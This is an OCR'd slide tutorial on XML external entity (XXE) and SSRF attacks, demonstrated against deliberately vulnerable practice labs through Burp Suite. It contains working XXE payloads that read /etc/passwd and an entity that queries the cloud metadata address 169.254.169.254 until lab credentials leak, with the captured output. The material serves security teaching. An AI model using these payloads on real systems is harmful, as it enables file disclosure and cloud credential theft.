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We will learn how we can use XXE vulnerability to
perform an SSRF attack. For this, we will cover the

required areas and look into demonstration:

Introduction to XML

What are external entities, and how it's

used?

Taking a look at XXE with a simple

example

Understanding SSRF vulnerability

A simple example of how SSRF works

Using XXE to exploit SSRF vulnerability

in a Web application
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Introduction to XML

XML stands for eXtensible Markup Language much
like HTML. It's used to store and transport data and
was designed to be self-explanatory.
“‘Self-explanatory” can be understood from an

example code which stores some information:

<?xmlversion="1.0" encoding="UTF-8"?>
<Person>

<Name>Xyz</Name>

<Age>22</Age>

</Person>

Here we are storing a person's information with his
Name and Age. But how will we use this information?
The code does not do anything in its current form, but
URLwe has to make another code or software to use

this information wrapped in tags for using it.

The XML tags are not pre-defined, which means that
the author of the XML document invents the tag
names just like in the case above. We have the
Person, Name, and Age tags that are not pre-defined
in XML standards but are made by the code

developer.
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So how can we use this XML data? XML does not tell us
how it will be presented, and the stored data can be
shown in any way by our application. Hence XML helps in

completely separating the data from the presentation.

In general the XML documents have a definite structure:

<root>
<child>
<subchild>.......</subchild>
</child>

</root>

The document can have only one root element. Also, each
tag needs to be closed with a supporting closing tag. The
tags are case sensitive, that is, <name> and <Name> tags

are different.
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An example of creating an entity in XML and using it:

<?xmlversion="1.0" encodi
<! DOCTYPE Person [

<IENTITY name “Xyz" >

1>

<Person>
<Name>&name;</Name>
<Age>22</Age>

</Person>

WWe can see that we have updated the previous example. We now used DTD

and created an Entity inside it as *

used it later in the document.
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Again from the first code example,
<?xmlversion="1.0" encoding="UTF-8"?>: The first line is the prolog, defining the
version and character encoding to avoid errors due to international characters like
Norwegian or French.

<Person>: Root Tag

<Name> and <Age>: Child Tags

Next, we need to take a look at Entities in XML. Entities are simple storage units in

XML, just like variables used to assign values throughout the document.

Also, these entities are found in DTD, Document Type Definition. Syntax to create

an entity is:

<IENTITY entity-name "entity-value">

ng="UTF-8"7>

name," which stores the person's name and
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What are external entities, and how it's used

Now that we know how to make an entity and use
it in the document, let's create an external entity

used in the XXE exploit.

Using the SYSTEM keyword, we can create an
external entity. This keyword tells the parser that
the entity is of the external type, telling it to fetch
the external resource and store it in the external

entity.

But entities can not only store values but local or
remote files and hence can be taken advantage
of by a hacker. Lets take an example of how to

create an external entity:

<?xmlversion="1.0" encoding="UTF-8"?>
<I DOCTYPE Pwn [

<VENTITY external SYSTEM “secret.txt” >
>

<Pwn>&external;</Pwn>

/SAFE
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The secret.txt file can be a secret local file
present on your server that should not be
accessible. But using an external entity, we can
get the secret file and view the content on a
vulnerable web application. Hence XML eXternal

Entity Vulnerability.
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Taking a look at XXE Vulnerability using a simple example

XXE is a vulnerability where we take advantage of the
XML Parser and get our bad data executed. From bad
data, we mean the malicious external entity we create

and use in an XML document.

Sometimes XML Parsers refer to an external entity that
allows an attacker to enter a payload in place of the
external entity and execute it using the XML Parser.
XXE can disclose local files in the file system of the
website. A famous example of this vulnerability exploit

is the Billion Laughs attack.

An example of XXE to fetch passwd file from the

system:

<?xmlversion="1.0" encoding="ISO-8859-1"?>
<IDOCTYPE Person |

<IENTITY xxe SYSTEM "file:///etc/passwd" >
I>
<Person>
<Name>&xxe;</Name>
<Age>22</Age>

</Person>
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We can look at the implementation of XXE on a test
application. This application allows us to enter an XML
code and execute it using the XML parser and get the
output. On entering the sample code, we can see the

output:
<Person>

<Name>Xyz</Name>

</Person>
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( XML Validator ]

Back g Help Me!

& Hints and Videos |
( Please Enter XML to Validate )
Example: <somexml><message>Hello World</message></somexml|>
XML
XML Submitted
<Person> <Name>Xyz</Name> </Person> ]

Text Content Parsed From XML
(o |

We can create an external entity that will fetch the passwd file from the server and present us the data. For this
we will enter:

<?xmlversion="1.0" encoding="ISO-8859-1"?>

<IDOCTYPE Person [

<IENTITY xxe SYSTEM "/etc/passwd" >

>

<Person>

<Name>&xxe;</Name>

</Person>

XML Validator ]

(
Q% Back g Help Me!
| @

Hints and Videos \

( Please Enter XML to Validate )
Example: <somexml><message>Hello World</message></somexml>

XML

®

XML Submitted

<?xml version="1.0" encoding="IS0-8859-1"?> <!DOCTYPE Person [<!ENTITY xxe SYSTEM "/etc/passwd">]> <Person> <Name>&xxe;</Name> </Person>

Text Content Parsed From XML

:roourool:lbin/bash daemon:x:1:1 fusr/sbin: in/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/shin/nologin sync:x:4:65534:sync:/bin:/bin/sync
60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin Ip:x:7:7:Ip:/var/spool/lpd:/usr/sbin/nologin mail 8:mail:/var/mail:/usr/sbin/nologin
i :news:/var/spool/news:/us/sbin/nologin uucp:x:10:10:uucp:ivar/spool/uucp:/usrisbin/nologin proxy:x:13:13:proxy:/bin:/ust/sbin/nologin www-data:x:33:33:www-

data: Narlwww lusr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List “Ivarflist: ogin
irc:x:39:39:ircd:/var/runfircd:/usr/shin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin sy -timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd
Network Jrun/systemd/netif:/bil systemc Ive:x:102:104:systemd Resolver,, /run/systemd/resolve:/bin/false syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexi: i gebus:x:106:110::/var/run/dbus:/bin/false uuidd:x:107:111::/run/uuidd:/bin/false lightdm:x:108:114:Light Display
Manager:/var/lib/lightdm:/bin/false whoopsie:x:109:117::/nonexistent:/bin/false avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false avahi:x:111:120:Avahi
mDNS daemon,, :/var/run/avahi-daemon:/bin/false q:x:112:65534: q.../varflib/misc:/bin/false colord:x:113:123:colord colour management
daemon,,,:var/lib/colord:/bin/false speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/i h-dispatcher:/bi hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
116:65534:Kernel Oops Tracking Daemon,, :/:/binfalse pulse:x:117:124: PulseAudio daemon,,,:/var/run/pulse:/bin/false rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/varflib/saned:/bin/false usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false nayan:x: 1000:1000:NAYAN DAS,,,./home/nayan:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false guest-tajvkz:x:999:999:Guest tajvkz:/bi cups-pk-helper:x:103:113:user for cups-| pk helper

/home/cups-pk-helper: Iusvlsbln/nologln geoclue:x:122:105::/var/lib/geociue: /usr/sbmlnologln gdm:x:123:130:Gnome Display Managr.-. ib gnom itial
24:65534::/run/gnome-initial 7 debian-tor:x:125:131::/varflib/tor:/bin/false postgres:x:126:132:P QL » postgresq )
postfix:x:127:137::/var/spool/postfix:/usr/shin/nologin
S A F E SAFE SECURITY 2020
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Understanding SSRF vulnerability

Server Side Request Forgery is a web
application vulnerability allowing an attacker to
send an HTTP request to an arbitrary domain.
The advantage of this vulnerability is that the
victim server's logs will not contain the
attacker's IP address but the vulnerable web
application server's IP address sending the
request from the attacker's side.

This can happen when the vulnerable web
application server requests external domains
for users through its parameters taking external
URLs.

We can understand this from the diagram:

VULNERABLE TARGET
SERVER SERVER
.
IP = 10.9.1.105 Server Log
ATTACKER

IP=192.168.1.104

abc.com/contactus :ip=192.168.1.104
abc.com/index.php :ip=192.168.1.104
abc.com:21/index.php :ip=10.9.1105

/SAFE
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In the logs of the target server, the first logs were
generated by the attacker. But as the attacker found a
vulnerable web application with SSRF, he started
sending a request from the vulnerable machine to the

target machine. The attacker's IP is now hidden.

The target parameters for this attack are uri, URL URL,
file, dist, redirect, etc. If a web application is taking user
input in a parameter in the form:
www.abc.com/?file=pageil, then an attacker can
simply replace the value with a target remote domain

like www.abc.com/?file=http://victim.com/

Now in the log files of victim.com, the IP address
sending the request will be abc.com. And now the
attacker can check for open ports, their version, initiate

a DOS attack, or find files with sensitive information.

SAFE SECURITY 2020



5

A simple example of how SSRF works

We can use a test web application to check for
SSRF vulnerability. But the challenge is we do not
have a secondary domain to check the logs if

containing the vulnerable server's IP address.

First, let's check our IP address using an online
service. Go to
https./www.expressvpn.com/what-is-my-ip
Here we will get our IP. But what if the vulnerable
web application sends a request to this domain.
The domain will give the IP address of the

vulnerable web application server.

We will use Burp Suite to spider the vulnerable
web application and find a parameter that will

send our request to an external domain.

/ S /\ F E SAFE SECURITY 2020 10
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acunetix KeReliRels

Acunetix Web Vulnerability Scanner

home | categories artists disclaimer

search art welcome to our page

| Cge ]

2 Test site for Acunetix WVS.
Browse categories

Browse artists
Your cart
Signup

Your profile
Our guestbook
AJAX Demo

Links

Security art
PHP scanner
PHP vuln help
Fractal Explorer

About Us | Privacy Policy | Contact Us ' Shop | HTTP Parameter Pollution

your cart = guestbook

AJAX Demo

Warning: This is not a real shop. This is an example PHP apphcanon whlch is intentionally vulnerable to web attacks.

itis intended to help you test Acunetix. It also helps you unc d how

per errors and bad configuration may

Burp Intruder Repeater Window Help

[(Target | Proxy | spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts

_[[site map | scope |
| Filter: Hiding out of scope items: hiding CSS. image and general binary content: hiding 4xx responses: hiding empty folders
* hitp: vulnweb.com Contents Issues
Host | Method | URL | Params | Stat.. 4| Length | MIME type | Title ! Unencrypted communications.
http://testphp.vulnw... GET  / O 200 5175  HIML Homea ifjEmalljaddresses disclosed
GET JAIAX/ O 200 4453 HTML ajax tT i Frameable response (potential Clickjacking)
http://testphp.vuln: GET JAJAX/index. php O 200 4453 HTML ajax t Path-relative style sheet import
http://testphp.vulnw... GET  /Flash/ O 200 514 HTML Index
http://testphp.vulnw...  GET /Flash/add.fla ] 200 154877 HTML
http://testphp.vulnw... GET  /Flash/add.swf O 200 17674 flash
GET  /Mod_Rewrite_Shop/ g 200 1191 HTML
GET  /Mod_Rewrite_Shop/... O 200 316 HTML
http://testphp.vulnw... GET  /Mod_Rewrite_Shopl... O 200 291 HTML
http://testphp.vulnw...  GET /Mod_Rewrite_Shop/.... ] 200 308 HTML
; GET  /Mod_Rewrite_Shopl... O 200 529 HTML
http://testphp.vulnw... GET  /Mod_Rewrite_Shopl... O 200 535 HTML
http://testphp.vulnw... GET  /Mod_Rewrite_Shopl... O 200 495 HTML
http:/ftestphp.vulnw... GET  /Mod_Rewrite_Shopl... O 200 316 HTML
http://testphp.vuln: GET  /Mod_Rewrite_Shop/. g 200 308 HTML
http://testphp.vulnw... GET  /Mod_Rewrite_Shop/i...  (J 200 656 HTML Index
http://testphp.vulnw...  GET Jartists.php a 200 5545 HTML artist|
| | http://testphp.vulnw... GET  /artists.php?artist=1 @ 200 6468  HTML artist'y ||
< R : — T
| Request | Response | Advisory, |
J,m,] Headers I Hex ] A
GET / HTTP/1.1 —
Fosk teetohe wilaoablen = 0 Unencrypted communicatior
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101
Firefox/86.0 —
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/+;q=0.8 Issue: Unencrypted communications
Accept-Language: en-US,en;q=0.5 Severity:  Low
Referer: https://www.google.com/ Confidence: Certain
Connectiont close Host: http://testphp.vulnweb.com
Upgrade-Insecure-Requests: 1 Path: /
Cache-Control: max-age=0
Issue description
Y | The application allows users to connect to it over ul
R — connections. An attacker suitably positioned to view ¥
2 =< |+ ][> ] 7vpeasearchterm 0 matches | i ~—
S AFE SAFE SECURITY 2020
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Burp Intruder Repeater Window Help

_[Tg[gat Proxy - Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts

Burp Suite search

Search Options

)]

Locations Tools

s [ Case sensitive [ In-scope only @ Request headers [ Response headers @ Target
(0 Regex () Dynamic update @ Requestbody [ Response body & Proxy i
|60 (J Negative match @ Repeater dng)

Source | Host a|URL | status | Length | Time requested |

Target http://testphp.vulnweb.com  /showimage.php?file=./pictures/1.jpg 200 12630 23:00:33 17 Mar 2021

Target http://testphp.vulnweb.com i php?file=./pictures/2.ipg 200 3527 23:00:33 17 Mar 2021

Target [ hitp:/ftestphp.vulnweb.com | /showimage.phpZfile=./pictures/3.ipg 200 9895 23:00:33 17 Mar 2021

Target http:/ftestphp.vulnweb.com  /showimage. php?file=./pictures/.ijpg 200 14173 23:00:33 17 Mar 2021

Target http://testphp.vulnweb.com  /showimage. php?file=./pictures/s.ijpg 200 14432 23:00:34 17 Mar 2021

Target http://testphp.vulnweb.com  /showimage.php?file=./pictures/6.jpg 200 11669 23:00:35 17 Mar 2021

Target http://testphp.vulnweb.com  /showimage. php?file=./pictures/7.jpg 200 19423 23:00:34 17 Mar 2021

| Request | Response
_[[Raw [ Params | Headers | Hex

GET /showimage.php?file=./pictures/3.ipg HTTP/1.1

2 B
Host: testphp.vulnweb.com
Accept: */¥ | ===
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/S.0)
Connection: close icatior
Referer: http://testphp.vulnweb.con/listproducts.php?cat=1
oons
v

2] (=) (2] (=) [fe= 1match m

Search completed

7 results

Issue description

vy | The application allows users to connect to it over uje
— connections. An attacker suitably positioned to view ¥
0 matches | Qi >

)
i

£

Now we can select any of the requests with the “file” parameter and send it to the repeater tab

Burp Intruder Repeater Window Help

 Target | Proxy | spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts
I—=
Go Ccancel <|v >v Target: http://testphp.vulnweb.com [:J U
Request Response
Raw | Params | Headers | Hex Raw
GET /showimage.php?file=./pictures/3.1pg HTTP/1.1 s s
Host: testphp.vulnweb.com r r
Accept: */%
Accept -Language: en
User-Agent: Mozilla/S.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Referer: http://testphp.vulnweb.com/listproducts.php?cat=1
- -
v v
? < .2 > Type a search term 0 matches 2 < o > Type a search term 0 matches
Ready

Now we can try replacing the parameter value with the URL we used before to find our IP address.

S AFE

S ECURITY
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Burp Intruder Repeater Window Help

[ Target | Proxy | spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts |

Go Cancel <|v > Target: http://testphp.vulnweb.com [ZJ @

Request Response

Params | Headers | Hex

w | Headers | Hex | HTML | Render

GET /showinage.php?file=https://www.expressvpn.con/what-is-my-ip HTTP/1.1 [  HTTP/L.1 200 OK X
Host: testphp.vulnweb.com P Server: nginx/1.19.0

Accept: */¥ Date: Wed, 17 Mar 2021 17:40:15 GMT )
Accept-Language: en Content-Type: image/jpeg

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Connection: close

Trident/5.0) X-Powered-By: PHP/S.6.40-38+ubuntu20.04.1+deb.sury.org+l

Connection: close Content-Length: 120518

Referer: http://testphp.vulnweb.com/listproducts.php?cat=1

<!DOCTYPE html>
<html lang='en'=

<head>

utf-8'>

ExpressVPN' name='apple-mobile-web-app-title'>

<neta content='ExpressVPN' name='application-name'>

<!-- Preload fonts -->

<link as="style"
href="https://xvp.imgix.net/assets/edsv2/fonts/link/fs-kin-d2669b5228d9e139c541940c957
cdOeach7aaB5d66c1a2d4e0c21351261ad61b. css” rel="preload" />

<link as="style"
//fonts.googleapis.con/css27fanily=Inter:wght@400; 500; 600; 7008amp ; display=

<link rel="stylesheet" media="screen"
href="https://xvp.ingix.net/assets/edsv2/fonts/link/fs-kin-d2669b5228d9e139c541940c957
cdOeach7aa85d66c1a2d4e0c21351261ad61b . css” />

<link rel="stylesheet" media="screen"
href="https://fonts.googleapis.con/css27fanily=Inter:wght@400; 500; 600; 700&amp ; display=
swap" />

</-- Apply stylesheets -->

<link rel="stylesheet" media="screen"
href="https://xvp.ingix.net/assets/edsv2-555199f3d007c86d52a0b85d520dd1bbbodeaccIeaedd
13cdbc6317dcffec3cf . css” />

- <link rel="stylesheet" media="screen" -
v href="http: /xvp.imgix.net/assets/edsv2/views/customer_tools/ip_checker-bb991lc6f51a04 v

2 [<][+ ][> [7rea search term 0 matches 20 (=3 () (58] [Type a search term 0 matches

Done 120,723 bytes | 1,265 millis
1

From the response, it's clear that the request was successful. Check the response we found that the
IP address was different from our IP address.

Burp Intruder Repeater Window Help
Target | Proxy | Spider | Scanner T Intruder IMR!M(] Sequencer T Decoder T Comparer T Extender T Project options T User options | Alerts
_[.2 % T ]
Go Cancel <|» >|v Target: http://testphp.vulnweb.com |#] | 7|
Request Response
‘Raw | Params | Headers | Hex ‘Raw | Headers | Hex | HTML | Render
GET /showimage.php?file=https://www.expressvpn.com/what-is-my-ip HTTP/1.1 A <hl class="hero_ title'> A
Host: testphp.vulnweb.com r What is my IP address location? r
Accept: */¥ </hl>
Accept-Language: en <h3 class='hero__title'>
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WinG4; x64; What is my IP address location?
Trident/5.0) </h3>
Connection: close </div>
Referer: http://testphp.vulnweb.com/listproducts.php?cat=1 <div class='tool unbranded-theme container's=
<div class='row-eq-height'>
<div class='col-left col-eq-height round-box'=
<div class="'tool-panel__body'>
<h6>
Your IP address
</h6>
<ha class='ip-address'>
<span class='red'>18.192.172.30</span>
</h4>
<div class='ip-address-info'=
i ‘icon icon-alert-triangle's
ttp://www.w3.0rg/2000/svg" width: 4" height="24" viewBox="0 0 24 24">
fill-rule="evenodd" M12,3.73411854 C12.9215227, 3.73411854
13.7761634,4.21528829 14.2569583,5.0079471 L14,2569583,5.0079471
L21.1950814,16.5908487 C21.6635084,17.4020573 21.6663052, 18. 400906
21.2024283,19.214725 C20.7385514, 20.0285441 19.8776747,20.5350989 18.93, 20.5454545
L18.93,20.5454545 L5.05900947, 20.5454545 C4.12232531, 20.5350989 3.26144856, 20. 0285441 )
2.7975717,19.214725 C2.33369484,18.400906 2.33649162,17.4020573 2.81304167,16.577038
L2.81304167,16.577038 L9.74590909,5.00319018 C10.2238366, 4.21528829
11.0784773,3.73411854 12,3.73411854 Z M12,5.73411854 Cl1.7775635,5.73411854
11.5712709,5.85026296 11.4587765,6.03568926 L11.4587765, 6. 03568926
L4.53689962,17.5909695 C4.42383105,17.7867785 4.42315596,18.0278799
4,53512624,18.224319 C4.64709652,18.420758 4.85489435,18.5430299 5.07,18.5455149
L5.07,18.5455149 L18.9190095,18.5455149 C19.1451056,18.5430299 19.3529035, 18. 420758
19.4648738,18.224319 C19.576844,18.0278799 19.576169,17.7867785 19.4712235,17.6047802
L19.4712235,17.6047802 L12.5440909, 6.04044618 C12.4287291,5.85026296
- 12.2224365,5.73411854 12,5.73411854 Z M12.0091429,15.6571429 C12.5614276,15.6571429 -
v 13.0091429,16.1048581 13.0091429,16.6571429 C13.0091429,17.1699787 v
2 < + > | | Type a search term 0 matches 2 < - > | yourip 16 matches
Done 120,723 bytes | 1,265 millis

This means that the web application is vulnerable to SSRF, and if we send any request to the
remote domain from here, the attacker's IP will be hidden.

Now that we know how XXE and SSRF work, we can use them together and exploit SSRF from XXE.

S A F E SAFE SECURITY 2020
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Using XXE to exploit SSRF vulnerability in a Web application

We will use a test application that checks for the number of products left in stock. The application is vulnerable

to both XXE and SSRF, and to exploit SSRF, we will take advantage of XXE vulnerability.

We can capture the request in Burp Suite. The request sent is handled using XML, and the product id helps us

find the stock value.

Description:
The Six Pack Beer Belt - because who wants just one beer?

Say goodbye to long queues at the bar thanks to this handy belt. This beer belt is fully adjustable up to 50" waist, meaning you can change the size according to
how much beer you're drinking. With its camouflage design, it's easy to sneak beer into gigs, parties and festivals. This is the perfect gift for a beer lover or just
someone who hates paying for drinks at the bar!

Simply strap it on and load it up with your favourite beer cans or bottles and you're off! Thanks to this sturdy design, you'll always be able to boast about having a
six pack. Buy this adjustable belt today and never go thirsty again!

London :l Check stock

933 units
< Return to list

S A F E SAFE SECURITY 2020
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Burp Intruder Repeater Window Help
[ Target | Proxy | spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts

[ intercept | HTTP history | webSockets history | Options |

Forward Drop

Action Comment this item

®

Raw  Hex

POST /product/stock HTTP/1.1

Host: ac531f03leeacdblB0S53a06003800fa. web-security-acadeny . net

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: /¥

Accept-Language: en-US,en;q=0.5

Referer: https://ac531f03leeacdbl80553a06003800fa . web-security-acadeny.net/product ?product Td=1
Content-Type: application/xml

Origin: https://ac531f03leeac4bl80553a06003800Fa . web-security -acadeny .net
Content-Length: 107

Connection: close

Cookie: session=S8AEe4aTY1XDfDGFsASSIEL3xwTIDCXN

T

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeld=</stockCheck>

-
v

&
]
¢
Y

0 matches

So we will send this request to the repeater and check if altering the product id reflects in the
response and then start creating an external entity.

Burp Intruder Repeater Window Help

[ Target | Frow | spider | scanner | intruder | F

Go Cancel <|v >\ Target: h 531f031eeacdbl web-security-academy.net @ 8

Request Response

Params | Headers | Hex | XML ‘Raw | Headers | Hex

POST /product /stock HTTP/1.1 HTTP/1.1 400 Bad Request

Host: acS531f03leeac4bl80553a06003800fa . web-security-acadeny .net Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Connection: close

Firefox/86.0 Content-Length: 25

Accept: */%

Accept -Language: en-US,en;g=0.5 “Invalid product ID: abc"
Referer:

https://ac531f03leeacdbl80553a06003800a. web-security-acadeny.net/product ?product

Content-Type: application/xml

Origin: https://ac531f03leeacdbl80553a06003800Fa. web-security-acadeny . net
Content-Length: 117

Connection: close

Cookie: session=S8AEe4aTY1XDfDGFSASSIEL3xwTIDCXN

| seauencer | pecoder | comparer | Extender | Project options | user options | alerts |

T
T

<?xml version="1.0" encoding="UTF-8"7>
<stockCheck>
<productId>abc</productId>
<storeld>l</storeld>

</stockCheck>

- =
v v

<) [+ (=) [7rpe 2 search term omatches | (2] (=) (+]) (5] [7ee a search term 0 matches

139 bytes | 688 millis

Done

As the change in value is now visible, we can create an external entity and fetch a local file like a
password file.
For this, we added a line;
<IDOCTYPE test [ <IENTITY xxe SYSTEM "file.///etc/passwd"> |>
Now we used the “xxe" external entity at the place of product id and checked for the response.
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Done

Now that the value is visible, we can perform SSRF from the same product id parameter by creating
an external entity that requests a target domain. The domain is at http://169.254.169.254/, and we
will again use the same steps but replace the local file with the target URL and check for a

response.

Burp Intruder Repeater Window Help
Target | Proxy | Spider | Scanner Tlntruder TRgp,qmr\T Sequencer TDecoder T Comparer TExtender T Project options Tuser options | Alerts
Go Cancel <|v >|v Target: https://ac531f031eeacdbl web-security-.
Request Response
| [[Raw [ Params | Headers | Hex [xmL | Raw | Headers | Hex
POST /product/stock HTTP/1.1 A HTTP/1.1 400 Bad Request
Host: ac531f031leeac4bl80553a06003800a. web-security-academy.net 2 Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Connection: close
Firefox/86.0 Content-Length: 1228
Accept: */*
Accept-Language: en-US,en;q=0.5 "Invalid product ID: root:x:0:0:root:/root:/bin/bash
Referer: :x:1:1l:daemon: /usr/sbin:/usr/sbhin/nologin
https://ac531f03leeacabl80553a06003800fa web-security -academy . net /product 7product in:/bin:/usr/sbin/nologin
Id=1 ys:/dev:/usr/sbin/nologin
Content -Type: application/xml 65534: sync: /bin: /bin/sync
Origin: https://ac531f03leeac4bl80553a06003800fa . web-security-academy . net 0:games: /usr/games: /usr/sbin/nologin
Content-Length: 182 man:/var/cache/man: /usr/sbin/nologin
Connection: close 1p:/var/spool/lpd: /usr/sbin/nologin
Cookie: session=58AEe4aTY1XDfDGfsASSIEL3xwTIDCxN mail:/var/mail:/usr/sbin/nologin
news: /var/spool /news: /usr/sbin/nologin
<7xml version="1.0" encoding="UTF-8"7> 10:10; uucp: /var/spool /uucp: /usr/shin/nologin
<!IDOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> 13:proxy:/bin:/usr/sbin/nologin
<stockCheck> 33:33:www-data:/var/www: /usr/sbin/nologin
<productId>&xxe;k/productId= ackup: /var/backups: /usr/sbin/nologin
<storeId=1</storeld= ailing List Manager:/var/list:/usr/sbin/nologin
</stockCheck> 39:ircd:/var/run/ircd: /usr/sbin/nologin
41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
65534:65534: nobody : /nonexistent: /usr/sbin/nologin
:/usr/sbin/nologin
+/bin/bash
/home/carlos:/bin/bash
1X:2000:2000: : /home/user: /bin/bash
elmer:x: 2099 2099: : /home/elmer: /bin/bash
01:65534:dnsmasq, , , : /var/lib/misc: /usr/sbin/nologin
messagebus x:102:101: : /nonexistent : /usr/shin/nologin
.
v
< + >| |7vpe a search term 0 matches < + > | |7vpe a search term

T

.
v

0 matches

1,344 bytes | 519 millis

Burp Intruder Repeater Window Help

Target | #rox | Spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts

(T

Go Cancel <|v >

Request

‘Raw | Params | Headers [ Hex | xML

Target: https://ac111f531€176c0280fal45300190055. web-security-academy.net (] (2]

Response

‘Raw | Headers | Hex

POST /product/stock HTTP/1.1

Host: acl11f531el76c0280fald5300190055. web-security-acadeny . net

User-Agent: Mozilla/S.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101
Firefox/86.0

Accept: */%

Accept-Language: en-US,en;g=0.5

Referer
https://ac111f531e176c0280fal 45300190055 web-security-acadeny .net /product ?product Id=2
Content-Type: application/xnl

Origin: https://ac111f531e176c0280al45300190055 web-security-academy .net
Content -Length: 187

Connection: close

Cookie: session=jwBQiVXg31tzjBbhtSGFW3SLoOPOGNU4

<?xml version="1.0" encoding="UTF-8"?>

<IDOCTYPE test [ <!ENTITY xxe SYSTEM “http://169.254.169.254/"> ]>
<stockCheck>

<productId>&xxe;f/product Id>

<storeId>1</storeld>

</stockCheck>

Type a search term

= & &=

o
s
5
a

A HTTP/1.1 400 Bad Request A
P Content-Type: application/json; charset=utf-8 r
Connection: close
Content-Length: 28
"Invalid product ID: latest"
- -
v v
0 matches > Type a search term 0 matches

142 bytes | 1,023 millis

We can see that we got an error and received a file name “latest” in the response. Let's use this file

name in our given URL and send the request again.
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Burp Intruder Repeater Window Help
Target | #rox | spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts

Go Cancel < b A Target: https://ac111f531e176c0280fal45300190055. b. urity-. d

~
A
~]

Request Response

Raw | Params | Headers | Hex | XML ‘Raw | Headers | Hex

POST /product/stock HTTP/1.1 HTTP/1.1 400 Bad Request

Host: acl11f531el76c0280fal45300190055.web-security-acadeny.net Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Connection: close

Firefox/86.0 Content-Length: 31

Accept: */*
Accept-Language: en-US,en;q=0.5 “Invalid product ID: meta-data"
Referer:
https://ac111f531e176c0280fal45300190055. web-security-acadeny .net/product ?productId=2
Content-Type: application/xml

Origin: https://acl11f531e176c0280fal45300190055. web-security-academy . net
Content-Length: 193

Connection: close

Cookie: session=jwB0iVXg3ltzjBbhtSGfW39LoOPOgmU4

T
T

<?xml version="1.0" encoding="UTF-8"?>

<IDOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest}'> ]>
<stockCheck>

<product Id>&xxe; </product Id>

<storeld=1</storeld>

</stockCheck>

. b
v v

2] (=] (=] (3] [7ope o search term omatches | (2] (=) (+]) (5] [Tree a search term 0 matches

Done 145 bytes | 1,950 millis

()

We again received a path. Let's keep adding the file names till we find some information of our
interest.

Burp Intruder Repeater Window Help
Target | #rox | Spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts
3 = [l - )
Go Cancel <|v >r Target: https:/ac111f531e176c0280fal45300190055.web-security-academy.net @EJ
Request Response
_[,gaw | Params | Headers | Hex [ xmL | Raw | Headers | Hex
POST /product/stock HTTP/1.1 A HTTP/1.1 400 Bad Request A
Host: ac111fS3lel76c0280faldS300190055, web-security-acadeny.net P Content-Type: application/json; charset=utf-8 2
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Connection: close
Firefox/86.0 Content-Length: 546
Accept: */%
Accept -Language: en-US,en;q=0.5 *Invalid product ID: {
Referer: “Code” : "Success",
https://acl11f531e176c0280fal45300190055. web-security-academy . net /product product Id=2 "LastUpdated” : "2021-03-18T07:10:38.5419232",
Content-Type: application/xml "Type" : "AWS
Origin: https://acll1531el76c0280fal45300190055 web-security-acadeny . net "AccessKeyId" : "RhrtwiWUkOF25bxiCuc®,
Content-Length: 234 cretAccessKey" : "qrprI2SBhEZBakplHNIs2afi00938] dSAKANDLYM" ,
Connection: close Token" :
Cookie: session=jwB0iVXg3ltzjBbhtSGfWISLoOPOGNUA " Z2MNOISWGSPwendfiHpSUL] CkUoeaDdF1Fo8zsme2guG3nj fduP203t VOCPSF] PyNGYGSFTmphehCOhzx r6zR
ybKvnNaqYNY810uk Z299wdCBx rIXfqFqBOFHDPVGY TeykSU3goMYSOK Xy SXTCB7B0BFnQt TkSonnvIb JnHhdn
